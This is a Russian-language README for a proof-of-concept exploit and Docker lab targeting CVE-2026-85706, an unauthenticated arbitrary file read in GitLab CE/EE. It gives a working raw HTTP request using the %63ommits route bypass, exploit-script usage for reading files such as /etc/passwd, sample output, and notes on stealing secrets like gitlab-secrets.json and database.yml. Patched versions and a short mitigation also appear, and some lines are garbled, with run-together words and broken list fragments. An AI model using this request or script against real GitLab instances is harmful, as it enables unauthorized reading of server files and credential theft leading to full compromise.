
PoC и Docker-лаборатория для CVE-2026-85706 — неаутентифицированное произвольное чтение файлов в GitLab CE/EE через обход маршрута commits API и urlencoded-канал ошибок.
★ CVE-2026-85706 GitLab неаутентифицированное произвольное чтение файлов PoC ★
https://github.com/user-attachments/assets/026749ec-04e9-4dd5-9453-cb7c1f6e823d
CVE-2026-85706 — это неаутентифицированное произвольное чтение файлов в GitLab CE/EE (CVSS 10.0, CISA KEV) через
POST /api/v4/projects/:id/repository/commits, вспомогательный обработчик загрузки тела которого выполняется доauthenticate!и читаетparams['file.path']как абсолютный путь без ограничений. URL-кодирование одного символа вcommits→%63ommitsзаставляет GitLab-Workhorse пропустить маршрут (поэтому он никогда не перезаписываетfile.path), в то время как Rails всё ещё декодирует%63 → cи направляет запрос в обработчик — позволяя атакующему задатьfile.pathчерез строку запроса. ПриContent-Type=application/x-www-form-urlencodedвспомогательный обработчик повторно разбирает содержимое файла, и%, за которым не следуют две шестнадцатеричные цифры, отражает это содержимое в теле ответа400(файлы без такого символа дают лишь оракул чтения401). Требуется как минимум один публичный проект.
| Категория | Версия |
|---|---|
| Уязвимые | GitLab CE/EE 18.7 – 19.1.7, 19.2.0 – 19.2.5, 19.3.0 – 19.3.1 |
| Исправленные | 19.1.8 / 19.2.6 / 19.3.2 или более поздние (2026-09-10) |
% (журналы приложений, а также конфигурации/учётные данные, содержащие URL-кодированные значения) → разведка + кража учётных данных → цепочка до аутентифицированного доступа / полной компрометации экземпляраgitlab-secrets.json, database.yml); обратите внимание, что чисто hex/base64-файлы возвращают лишь оракул существования через публичный канал отражения % (нет некорректного байта % для запуска эха)authenticate! перед вспомогательным обработчиком загрузки тела, поэтому неаутентифицированный запрос отклоняется до точки чтения файлаСоберите и запустите уязвимый GitLab CE. При загрузке сидер создаёт /flag.txt (с завершающим
%-триггером утечки) и создаёт публичный проект victim/public-app (id проекта 1), чтобы
API коммитов был доступен без аутентификации. Первая загрузка занимает ~2–3 минуты.
docker build -t cve-2026-85706 .
docker run -d --name cve-2026-85706 --shm-size 256m -p 8088:80 cve-2026-85706
# wait until the seeder reports it is ready
docker exec cve-2026-85706 tail -n 20 /var/log/seed.log # look for: [seed] SEED_DONE ...
Флаг — это заполнитель (EQST{gitlab_cve_2026_85706_arbitrary_file_read}). Задайте свой во
время запуска без редактирования образа: docker run -e FLAG='YOUR_FLAG' ... cve-2026-85706.
| Предусловие | Состояние в этой лаборатории |
|---|---|
| GitLab 18.7 – 19.1.7 | 19.1.7-ce.0 |
| Как минимум один публичный проект (анонимный доступ к API коммитов) | victim/public-app (id 1), создаётся автоматически |
/api/v4/projects/:id/repository/commits доступен без аутентификации | открыт |
| Флаг в файловой системе сервера | /flag.txt (завершающий %-триггер отражения) |
Эксплойт gitlab_exploit.py читает файл с сервера одним неаутентифицированным
запросом, используя обход маршрута Workhorse через %63ommits и канал ошибки повторного разбора urlencoded.
Выберите файл с помощью --read (по умолчанию /flag.txt).
# default: read /flag.txt and print the flag
python3 gitlab_exploit.py 172.17.0.2
# read any absolute path (content disclosed only if it contains an invalid '%')
python3 gitlab_exploit.py 172.17.0.2 --read /etc/passwd
# just confirm the sink is reachable
python3 gitlab_exploit.py 172.17.0.2 --check
[*] target http://172.17.0.2
[*] endpoint /api/v4/projects/1/repository/%63ommits
[*] file.path /flag.txt
[+] arbitrary file read OK -> content of /flag.txt:
EQST{gitlab_cve_2026_85706_arbitrary_file_read}%
[+] FLAG: EQST{gitlab_cve_2026_85706_arbitrary_file_read}
Опции:
--read "<abs path>" — абсолютный путь к файлу для чтения (по умолчанию /flag.txt)--project <id> — id публичного проекта, доступного без аутентификации (по умолчанию 1)--check — только подтвердить, что точка чтения файла достижима (ожидается local file not present)Необработанный запрос (для Burp Repeater):
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=/flag.txt&file.size=1&Content-Type=application/x-www-form-urlencoded HTTP/1.1
Host: 172.17.0.2
Content-Length: 0
Connection: close
POST/PUT к */repository/commits* и */repository/files* на прокси/WAF и разместите экземпляр за SSO / VPN / списком разрешённых IP